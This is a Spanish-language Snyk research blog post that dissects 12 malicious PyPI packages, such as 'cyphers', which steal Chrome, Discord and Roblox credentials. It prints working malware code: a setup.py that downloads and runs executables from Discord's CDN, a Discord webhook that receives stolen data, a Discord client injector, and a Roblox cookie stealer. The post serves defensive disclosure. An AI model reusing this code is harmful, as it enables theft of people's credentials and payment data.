Skip to main content

Snyk descubre malware en PyPi que robaba datos de pago y credenciales de Discord y Roblox

Escrito por

Kyle Suero

16 de agosto de 2022

0 minutos de lectura

El equipo de Investigación en Seguridad de Snyk supervisa ecosistemas de código abierto de forma continua en busca de paquetes maliciosos mediante técnicas de análisis estático para identificar y marcar los paquetes sospechosos. Cada paquete malicioso se identifica una vez publicado en el sistema de gestión de paquetes y se agrega rápidamente a la Base de datos de Snyk sobre vulnerabilidades. Durante una investigación, el equipo encontró 12 muestras de malware que pertenecían a la misma persona. Estos paquetes maliciosos intentaban evitar la detección mientras se infiltraban en máquinas Windows e iniciaban archivos ejecutables maliciosos descargados desde la CDN (red de entrega de contenido) de Discord, una aplicación de chat en línea muy popular, a la máquina host.

Utilizaban PyInstaller para empaquetar una aplicación maliciosa y sus dependencias en un único paquete. PyInstaller tiene dos usos: evitar la detección empaquetando las dependencias en lugar de descargarlas desde un servidor remoto al host, y proporcionar un archivo ejecutable listo para ejecutarse sin un intérprete.

El malware selecciona los datos que se almacenan para las aplicaciones que el usuario usa a diario. Al ejecutarse, intenta robar datos de Google Chrome (contraseñas, cookies, el historial de navegación, el historial de búsqueda y marcadores). Estos datos suelen ser un objetivo común entre atacantes, dado que pueden usarse luego para acceder a diversas cuentas con las credenciales obtenidas.

Discord, la popular aplicación de chat en línea, también es un objetivo. El malware roba los tokens de Discord e inyecta un agente malicioso persistente durante el proceso. El código malicioso, conocido como Discord Injector, puede brindarle al atacante una cantidad alarmante de información: no solo las credenciales, sino también los datos de las tarjetas de crédito si se agregan luego de que se haya cargado el inyector.

Este malware presenta otra particularidad: usa los recursos de Discord para distribuir archivos ejecutables. Aunque esto no es nuevo, haber visto cdn.discord.com alertó a los equipos de investigación en seguridad. Los binarios se extraen al host a través de la CDN de Discord.

A modo de ejemplo, mostraremos el paquete cyphers y detallaremos su estructura y su funcionamiento. El malware tiene 2 archivos ejecutables:

  1. ZYXMN.exe -, responsable de recopilar datos privados en Discord, divulgar credenciales de navegadores e información confidencial, e inyectar malware en Discord.

  2. ZYRBX.exe -, responsable de robar cookies y datos de usuarios de Roblox.

Demostración del paquete cyphers

Después de descargar el archivo tar del paquete y extraerlo, observamos que el archivo setup.py tiene algunas características poco comunes (omitimos algunas secciones para mayor comodidad):

1url = 'https://cdn.discordapp.com/attachments/1003368479442874518/1003368774335991898/ZYXMN.exe'
2url2 = 'https://cdn.discordapp.com/attachments/1003368479442874518/1003368773983682592/ZYRBX.exe'
3
4os.remove(r"C:\$Windows.~SXK\WIN-siP1VyGDrfCYO2k3.exe")
5os.remove(r"C:\$Windows.~SXK\WIN-XnWfTdfJsypQWB9d.exe")
6
7r = requests.get(url, allow_redirects=True)
8r2 = requests.get(url2, allow_redirects=True)
9open('ZYXMN.exe', 'wb').write(r.content)
10Path(r"ZYXMN.exe").rename(r"C:\$Windows.~SXK\WIN-siP1VyGDrfCYO2k3.exe")
11open('ZYRBX.exe', 'wb').write(r2.content)  
12Path(r"ZYRBX.exe").rename(r"C:\$Windows.~SXK\WIN-XnWfTdfJsypQWB9d.exe")
13os.remove('ZYRBX.exe')
14os.remove('ZYXMN.exe')
15
16os.startfile(r"C:\$Windows.~SXK\WIN-siP1VyGDrfCYO2k3.exe") os.startfile(r"C:\$Windows.~SXK\WIN-XnWfTdfJsypQWB9d.exe")
17
18shutil.rmtree(r"C:\$Windows.~SXK")

Podemos ver que intenta descargar dos binarios (ZYXMN.exe y ZYRBX.exe) desde un servidor de la CDN de Discord, los enmascara como archivos ejecutables aleatorios de Windows y, al final, los inicia. Luego de ejecutarse, los ejecutables se eliminan del sistema de archivos para ocultar sus rastros.

Veamos qué hacen estos archivos ejecutables.

ZYXMN.exe

Luego de ejecutar binwalk y strings en el binario, vemos que se creó con PyInstaller, que es una biblioteca que empaqueta toda una aplicación de Python ―con las dependencias de tiempo de ejecución y todo lo demás― en un único archivo ejecutable basado en el SO.

Estos archivos comprimidos pueden extraerse con extremecoders-re/pyinstxtractor. En la lista de archivos, encontramos ZYXMN.pyc, un código de bytes compilado en Python que es el punto de entrada de la aplicación. Al descompilarlo con rocky/python-uncompyle6, podemos observar los secretos ocultos del paquete malicioso.

main()

1def main() -> None:
2    webhook = 'https://discord.com/api/webhooks/1003603061530431539/mAOhFLrtafsu1jC3G1_nRR5by1zBTtd4xxdxZPVFkOlCUqMeze6TcUQ3zbR9zVsvG5-m'
3    pingmsg = 'soulcord run da wrld'
4    greenhillzone = {'content': f"@everyone {pingmsg}"}
5    requests.post(webhook, json=greenhillzone)
6    debug()
7    threads = []
8    for operation in (
9    discord, google, injection):
10        thread = Thread(target=operation, args=(webhook,))
11        thread.start()
12        threads.append(thread)
13    else:
14        for thread in threads:
15            thread.join()
16        else:
17            system(webhook)

La función principal ejecuta tres “operaciones” (es decir, subprocesos) y cada una intenta realizar una sección diferente de la carga útil. Todas reciben un argumento webhook para revelar los resultados de la operación. Podemos ver que también se ejecuta en una URL de Discord (discord.com).

Google

1class google:   
2    def __init__(self, webhook: str) -> None:
3        webhook = Webhook.from_url(webhook, adapter=(RequestsWebhookAdapter()))
4        self.appdata = os.getenv('LOCALAPPDATA')
5        self.databases = {
6        self.appdata + '\\Google\\Chrome\\User Data\\Default',
7        self.appdata + '\\Google\\Chrome\\User Data\\Profile 1',
8        self.appdata + '\\Google\\Chrome\\User Data\\Profile 2',
9        self.appdata + '\\Google\\Chrome\\User Data\\Profile 3',
10        self.appdata + '\\Google\\Chrome\\User Data\\Profile 4',
11        self.appdata + '\\Google\\Chrome\\User Data\\Profile 5'}
12        self.masterkey = self.get_master_key(self.appdata + '\\Google\\Chrome\\User Data\\Local State')
13        self.files = [
14        '.\\nrozi3tvz1x7df3I-p.txt',
15        '.\\JN6Kq3DLrH6eJ8px-c.txt',
16        '.\\MVvztUI6Dyc1iHIB-wh.txt',
17        '.\\jDW68AZgMg9PUg1O-h.txt',
18        '.\\elr6GRUCz1eKhT0q-b.txt']
19        self.password()
20        self.cookies()
21        self.web_history()
22        self.search_history()
23        for file in self.files:
24            if not os.path.isfile(file):
25                pass
26            elif os.path.getsize(file) > 8000000:
27                pass
28            else:
29                webhook.send(file=(File(file)), username='Empyrean', avatar_url='https://i.imgur.com/HjzfjfR.png')
30        else:
31            for file in self.files:
32                if os.path.isfile(file):
33                    os.remove(file)

El malware intenta descifrar la clave principal de Google Chrome, acceder a las bases de datos locales del navegador y divulgar los siguientes datos privados del usuario:

  • cookies;

  • historial de navegación;

  • historial de búsqueda.

Inyección

1def __init__(self, webhook: str):
2        self.appdata = os.getenv('LOCALAPPDATA')
3        self.discord_dirs = [
4        self.appdata + '\\Discord',
5        self.appdata + '\\DiscordCanary',
6        self.appdata + '\\DiscordPTB',
7        self.appdata + '\\DiscordDevelopment']
8        self.code = "\n\t\tconst _0x25b1bd=_0x16c5;..."
9        for dir in self.discord_dirs:
10            if not os.path.exists(dir):
11                pass
12            elif self.get_core(dir) is not None:
13                with open((self.get_core(dir)[0] + '\\index.js'), 'w', encoding='utf-8') as (f):
14                    f.write(self.code.replace('discord_desktop_core-1', self.get_core(dir)[1]).replace('%WEBHOOK%', webhook))
15                    self.start_discord(dir)

Este código intentará crear un archivo index.js en el directorio discord_desktop_core con el contenido de la propiedad self.code y ejecutar la aplicación Discord. De este modo, la secuencia de comandos podrá ejecutarse dentro del contexto de la aplicación.

Luego de volcar la cadena en un archivo y analizar el contenido, notamos que se obtuvo del repositorio Rdimo/Discord-Injection, que contiene una secuencia de comandos maliciosa utilizada para recopilar datos privados de los usuarios de Discord.

ZYRBX.exe

Seguimos el mismo proceso para extraer el código fuente Python de este binario, al igual que hicimos con el anterior. El código malicioso ejecuta el siguiente bloque de código en diferentes tipos de navegadores:

1url = 'https://discord.com/api/webhooks/1003603061530431539/mAOhFLrtafsu1jC3G1_nRR5by1zBTtd4xxdxZPVFkOlCUqMeze6TcUQ3zbR9zVsvG5-m'
2    site = 'roblox.com'
3    if site == 'roblox.com':
4        try:
5            cookiesall = browser_cookie3.edge(domain_name=site)
6            cookiesall = str(cookiesall)
7            roblosec = cookiesall.split('.ROBLOSECURITY=')[1].split(' for .roblox.com/>')[0].strip()
8            req = requests.Session()
9            req.cookies['.ROBLOSECURITY'] = roblosec
10            user = req.get('https://www.roblox.com/mobileapi/userinfo').json()['UserName']
11            ID = req.get('https://www.roblox.com/mobileapi/userinfo').json()['UserID']
12            robux = req.get('https://www.roblox.com/mobileapi/userinfo').json()['RobuxBalance']
13            Avatar = req.get('https://www.roblox.com/mobileapi/userinfo').json()['ThumbnailUrl']
14            prem = req.get('https://www.roblox.com/mobileapi/userinfo').json()['IsPremium']
15            embed = {'title':'Cookie Found',
16            'description':f"**Cookie Source:**\n\t\t\t\t\t\t<:edge:917804139860361216> Microsoft Edge\n\n\t\t\t\t\t\t**Cookie:**\n\t\t\t\t\t\t```{roblosec}```",
17            'color':0,
18            'thumbnail':{'url': Avatar}}
19            data = {'embeds': [embed]}
20            requests.post(url, json=data)
21            embed2 = {'title':'Cookie Information',
22            'description':f"**Username:** ``{user}``\n\t\t\t\t\t\t**Robux Balance:** ``{robux}``\n\t\t\t\t\t\t**User ID:** ``{ID}``\n\t\t\t\t\t\t**Premium:** ``{prem}``\n\t\t\t\t\t\t**Profile Link:** ``https://www.roblox.com/users/{ID}/profile``",
23            'color':0,
24            'thumbnail':{'url': Avatar}}
25            data2 = {'embeds': [embed2]}
26            requests.post(url, json=data2)

Este fragmento de código roba la cookie .ROBLOSECURITY de la plataforma de juego en línea Roblox y la envía a un webhook de Discord junto con los datos del usuario: nombre de usuario, Id., saldo Robux (moneda propia del juego Roblox), miniatura y si se trata de un usuario Premium o no. Intentará realizar las acciones anteriores en los siguientes navegadores: Microsoft Edge, Google Chrome, Chromium, Firefox y Opera.

Resumen de los descubrimientos

En total, se identificaron 12 paquetes maliciosos del mismo atacante:

Nombre del paquete

Versión

Descripción

Archivo ejecutable malicioso

Fecha de carga

hackerfilelol

0.0.1

Este es el módulo para hackers profesionales \\n\\ngang

\*Main.exe

31 de julio de 2022, 16:23

hackerfileloll

0.0.1

Este es el módulo para hackers profesionales \\n\\ngang

\*Main.exe

31 de julio de 2022, 16:27

stealthpy

0.0.1

gang

ZYXM.exe, ZYRBX.exe

31 de julio de 2022, 18:32

plutos

0.0.1

Módulo básico utilizado para gestionar varios subprocesos de una sola vez con mucha más eficiencia. Si necesitas ayuda con este módulo, contáctanos.

ZYXM.exe, ZYRBX.exe

31 de julio de 2022, 21:01

testpipper

0.0.1

Módulo básico utilizado para gestionar varios subprocesos de una sola vez con mucha más eficiencia. Si necesitas ayuda con este módulo, contáctanos.

ZYXM.exe, ZYRBX.exe

1 de agosto de 2022, 11:27

testpipperz

0.0.1

Módulo básico utilizado para gestionar varios subprocesos de una sola vez con mucha más eficiencia. Si necesitas ayuda con este módulo, contáctanos.

ZYXM.exe, ZYRBX.exe

1 de agosto de 2022, 11:33

pippytest

0.0.1

Módulo básico utilizado para gestionar varios subprocesos de una sola vez con mucha más eficiencia. Si necesitas ayuda con este módulo, contáctanos.

ZYXM.exe, ZYRBX.exe

1 de agosto de 2022, 11:35

pippytests

0.0.1

Módulo básico utilizado para gestionar varios subprocesos de una sola vez con mucha más eficiencia.

ZYXM.exe, ZYRBX.exe

1 de agosto de 2022, 12:16

cyphers

0.0.1

Módulo básico utilizado para gestionar varios subprocesos de una sola vez con mucha más eficiencia. Si necesitas ayuda con este módulo, contáctanos.

ZYXM.exe, ZYRBX.exe

1 de agosto de 2022, 12:27

rblxtools

0.0.1

Módulo básico para usar diversas herramientas de Roblox con mayor facilidad, en especial, según la biblioteca de solicitudes. Si necesitas ayuda con este módulo, contáctanos.

ZYXM.exe, ZYRBX.exe

1 de agosto de 2022, 19:14

rbxtools

0.0.1

Módulo básico para usar diversas herramientas de Roblox con mayor facilidad, en especial, según la biblioteca de solicitudes. Si necesitas ayuda con este módulo, contáctanos.

ZYXM.exe, ZYRBX.exe

1 de agosto de 2022, 19:22

rbxtool

0.0.1

Módulo básico para usar diversas herramientas de Roblox con mayor facilidad, en especial, según la biblioteca de solicitudes. Si necesitas ayuda con este módulo, contáctanos.

\*Main.exe, igual que ZYXMN.exe

ZYXM.exe, ZYRBX.exe

1 de agosto de 2022, 19:26

El equipo de Investigación en Seguridad de Snyk utiliza técnicas avanzadas para identificar y supervisar actividades sospechosas en diversos ecosistemas de paquetes y hace todo lo posible por informar a las autoridades de paquetes, la comunidad y los usuarios cuanto antes. Creemos que este trabajo es crucial para que el software de código abierto, y toda la tecnología, sea lo más seguro posible.

Crea tu cuenta gratuita de Snyk hoy mismo para aprovechar los descubrimientos de nuestras investigaciones de vanguardia. Con el respaldo de la inteligencia en materia de seguridad líder en la industria, Snyk busca vulnerabilidades en dependencias de código abierto, código propio, imágenes base e infraestructura de nube, y brinda sugerencias prácticas de remedio (incluso solicitudes de cambios de corrección con un solo clic), de modo que puedas seguir desarrollando rápido mientras conservas la seguridad.

Introducción a Capture the flag

Aprende a resolver los desafíos de Capture the flag viendo nuestro taller virtual 101 bajo demanda.

State of Open Source Security Report

Snyk analyzed responses from over 500 organizations and anonymized data collected from Snyk product usage to shed light on the current security posture of OS software and trends.

OSZAR »